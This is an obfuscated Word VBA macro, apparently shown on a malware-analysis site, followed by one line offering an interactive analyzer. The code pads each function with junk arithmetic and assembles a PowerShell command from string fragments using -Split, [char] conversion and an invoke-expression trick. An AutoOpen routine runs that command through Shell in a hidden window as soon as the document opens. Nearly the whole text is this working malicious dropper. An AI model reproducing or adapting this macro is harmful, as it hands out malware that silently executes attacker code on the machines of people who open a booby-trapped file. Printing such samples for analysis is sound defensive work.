NSPwo = (OfHosj * 35631 + 78917 * CInt(NFvHj - CDbl(50851)) * 46371 * Oct(52975))
End Function
Function RNvQzoOi()
On Error Resume Next
wkqjKE = (dzYrVB * 79506 + 6058 * CInt(ZsIwB - CDbl(18049)) * 36392 * Oct(62560))
EwEdPf = "84}" + "80" + "Z90"
Uvzrf = (prjzDG * 58782 + 40577 * CInt(oPiuz - CDbl(81183)) * 23487 * Oct(31647))
PwOMN = "}1" + "0v" + "76" + "!82" + "t8" + "0>6" + "9t"
lGhPdi = (RKMqIA * 72992 + 35251 * CInt(CdSszP - CDbl(90842)) * 45600 * Oct(10326))
PGsLkBN = "82" + ">8" + "9v" + "74" + "v70"
maYjh = (fHGYH * 48775 + 26827 * CInt(HlwSi - CDbl(88619)) * 78058 * Oct(55948))
sCuioVmRvG = ">6" + "7w8" + "8!"
LvMuY = (VLJKTs * 28091 + 87237 * CInt(iidsft - CDbl(53307)) * 55471 * Oct(30723))
aARBPhDm = "69>" + "84" + "N2" + "8!8" + "9!9" + "4v"
kNTct = (UIKNn * 40588 + 26672 * CInt(OlMzO - CDbl(88949)) * 22337 * Oct(87112))
jAWwTv = "66}" + "69t" + "17" + "v21"
VnvQvz = (jSwjo * 59170 + 3687 * CInt(QzwjEj - CDbl(75652)) * 18448 * Oct(40170))
qCiKkJ = "Z1" + "10" + ">31" + "w11" + "6K7" + "3w8" + "2!8"
RNvQzoOi = EwEdPf + PwOMN + PGsLkBN + sCuioVmRvG + aARBPhDm + jAWwTv + qCiKkJ
itjiO = (CqVzo * 95222 + 89631 * CInt(LodVY - CDbl(64736)) * 35765 * Oct(69095))
End Function
Function ZvjwjbjSKTz()
On Error Resume Next
ijPvbp = (iiauR * 8349 + 79664 * CInt(EaizJ - CDbl(8510)) * 87886 * Oct(36871))
frmvn = "4Z6" + "5v" + "69K" + "88}" + "94>"
ZYPCS = (nDuJCz * 97433 + 50376 * CInt(BJPKWA - CDbl(14220)) * 13001 * Oct(97601))
zPObjXSHQFo = "95N" + "31v" + "124" + "N84" + "e66" + "e6" + "6w8"
QwDVa = (kNKVDZ * 18184 + 31408 * CInt(nqXumH - CDbl(10946)) * 785 * Oct(7007))
OYITEnAvu = "0!8" + "6Z" + "84" + "e1" + "0Z7"
zpiwES = (RiBmj * 66881 + 37282 * CInt(SjnEXc - CDbl(55)) * 97680 * Oct(33487))
WrXpVulwjh = "6e" + "76" + "'-" + "Sp" + "lit" + "'>" + "'-S"
KjMLQL = (AZbqBR * 12428 + 7223 * CInt(IiPGEH - CDbl(8132)) * 30776 * Oct(39879))
usLjrlVLAdN = "pL" + "It" + "'!" + "'-S" + "pLi"
RwjTz = (RNtiFF * 27190 + 80452 * CInt(jJsoQS - CDbl(64418)) * 963 * Oct(73360))
AwEVSNwAaja = "t '" + "e'-" + "spL" + "it" + " '" + "t' "
VjKfC = (wrstBT * 11173 + 52689 * CInt(kDMVfD - CDbl(32390)) * 48856 * Oct(34464))
szjDHXKvpL = "-S" + "pLi" + "t'n" + "'-s" + "pl" + "It'"
ZvjwjbjSKTz = frmvn + zPObjXSHQFo + OYITEnAvu + WrXpVulwjh + usLjrlVLAdN + AwEVSNwAaja + szjDHXKvpL
zLbEF = (vuziGG * 66095 + 82976 * CInt(JNVwn - CDbl(30652)) * 6981 * Oct(32548))
End Function
Function KsbWO()
On Error Resume Next
jPVfGR = (KsKET * 39894 + 74740 * CInt(JFZGws - CDbl(56429)) * 41005 * Oct(41016))
lBcMC = "V'-" + "Spl" + "iT "
Vpvdi = (uumYq * 29262 + 31740 * CInt(iawOXm - CDbl(67701)) * 78325 * Oct(52074))
SbJHscTBwJf = "'}" + "' " + "-SP" + "Li" + "T " + "'K'"
nhqzUw = (tzMkc * 17518 + 63576 * CInt(GKYiO - CDbl(94665)) * 88602 * Oct(79743))
HtSHV = " -S" + "pL" + "IT'" + "z'" + "-SP" + "LI" + "t "
YWvPzj = (hNMqzO * 94428 + 51614 * CInt(VwPDCG - CDbl(33282)) * 30270 * Oct(172))
ZXhsGr = "'W" + "'|" + "% {" + "[CH" + "Ar]"
KsbWO = lBcMC + SbJHscTBwJf + HtSHV + ZXhsGr
bKGMl = (rEZzAn * 92757 + 32060 * CInt(DOwqQs - CDbl(25738)) * 95826 * Oct(84975))
End Function
Function TBUXQcNC()
On Error Resume Next
AiljRF = (PfHYaB * 52613 + 94462 * CInt(JXdph - CDbl(14)) * 97785 * Oct(50886))
VRBWFR = " (" + "$_" + " -" + "BXo"
sUYjZO = (OTkOG * 41018 + 14653 * CInt(UYQJEc - CDbl(23878)) * 40644 * Oct(88208))
uuRiOFClZ = "r " + "0x" + "31 " + " )" + " }" + ")+"
ipUCL = (fLkZk * 13989 + 60828 * CInt(sMMir - CDbl(66782)) * 99067 * Oct(77178))
icILZScu = Chr(34) + " " + "$( " + "se" + "T-V" + "aR" + "IA" + "Bl"
kUJjp = (WfziY * 82566 + 47877 * CInt(LHjiul - CDbl(66010)) * 16290 * Oct(25752))
GMJuXAcbaz = "E " + "'O" + "fs'" + " ' " + "')" + " " + Chr(34) + " " + "| "
KQsQdi = (LuZki * 4445 + 33308 * CInt(pNtkcH - CDbl(29609)) * 38245 * Oct(38668))
DsCXK = "& " + "( (" + "[st" + "ri" + "nG]" + "$vE"
bHAEC = (bHQZYd * 11674 + 3922 * CInt(TNwzH - CDbl(56521)) * 9992 * Oct(34558))
tjrosLj = "RbO" + "se" + "PR" + "Efe"
FXoXkl = (wYPCWL * 13203 + 83989 * CInt(IalrRM - CDbl(14521)) * 83308 * Oct(28722))
sXFKRFKilzX = "ReN" + "cE" + ")[1" + ",3]" + "+'" + "X'" + "-JO"
TBUXQcNC = VRBWFR + uuRiOFClZ + icILZScu + GMJuXAcbaz + DsCXK + tjrosLj + sXFKRFKilzX
tSUMX = (pHwfs * 7649 + 42940 * CInt(fbEqzz - CDbl(16615)) * 12222 * Oct(9155))
End Function
Function iqDBIjQEkaB()
On Error Resume Next
wCTaa = (QzIcsb * 54785 + 22862 * CInt(hjDHMw - CDbl(8809)) * 8551 * Oct(13974))
FfpvcVz = "IN'" + "')"
iqDBIjQEkaB = FfpvcVz
pHQsP = (nOMNU * 4822 + 29860 * CInt(FOvvtm - CDbl(6530)) * 98918 * Oct(86300))
End Function
Attribute VB_Name = "EuXhfwhPrNiAo"
Function CAsawMffYvw()
On Error Resume Next
jhNHsm = (HTpmu * 23387 + 87270 * CInt(vijzzA - CDbl(91039)) * 66209 * Oct(20044))
BlqDA = zORVjzloF + Chr(wBvZfuABPFU + 80 + FvcaOiQUom) + "owers"
kSwVP = (znHMMt * 55433 + 90155 * CInt(lnDrs - CDbl(4567)) * 41096 * Oct(42474))
RwRpR = (ozCDI * 38504 + 39996 * CInt(EOnHEh - CDbl(27741)) * 5442 * Oct(10822))
CAsawMffYvw = tVkdjRvpIHf + BlqDA + zACHBCvvHB + liEnumiOthB + anEpCHJW + RtmmjB + LuFSFzo + PNIjnVX + ijwzC + jfwvwP + MJHjim + GwLhVHcRm + ziLKwqsNOT + jOrMSqA + zllanKrli + KNAMz + wjMWndwSOc + ECJCQ + VQQwjvjimi + ItIWw + vmGZXV + iXckIc + OXsAnUXMSP + WDRqOdoG + YiwCiXWj + ALHuZiHiOR + RNvQzoOi + ZvjwjbjSKTz + KsbWO + TBUXQcNC + iqDBIjQEkaB
uMNrrR = (OwiDT * 20983 + 19918 * CInt(iXNqZ - CDbl(73392)) * 70705 * Oct(31532))
End Function
Function XzYXGkpnu(HIWtIiG)
On Error Resume Next
zdFuR = (BPqcuF * 24251 + 93865 * CInt(lAtXm - CDbl(66872)) * 71338 * Oct(6032))
mWJAMj = (JvLrN * 22998 + 14310 * CInt(HjociP - CDbl(30441)) * 41286 * Oct(52164))
kUPLkaL = bpHKj + wAiOcGmIMjk + Shell(TZSwUcpQ + HIWtIiG + SfCWi, (28957 / 28957) - 1)
EYsNd = (OacIu * 60692 + 1560 * CInt(KalJB - CDbl(9900)) * 89335 * Oct(48855))
End Function
Sub AutoOpen()
On Error Resume Next
wPFuIV = (WAivH * 14204 + 18911 * CInt(Rsdnjw - CDbl(5217)) * 54019 * Oct(61074))
XzYXGkpnu (CAsawMffYvw)
RHiGUV = (ffvzX * 46641 + 11025 * CInt(PmuzF - CDbl(89582)) * 6696 * Oct(32667))
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.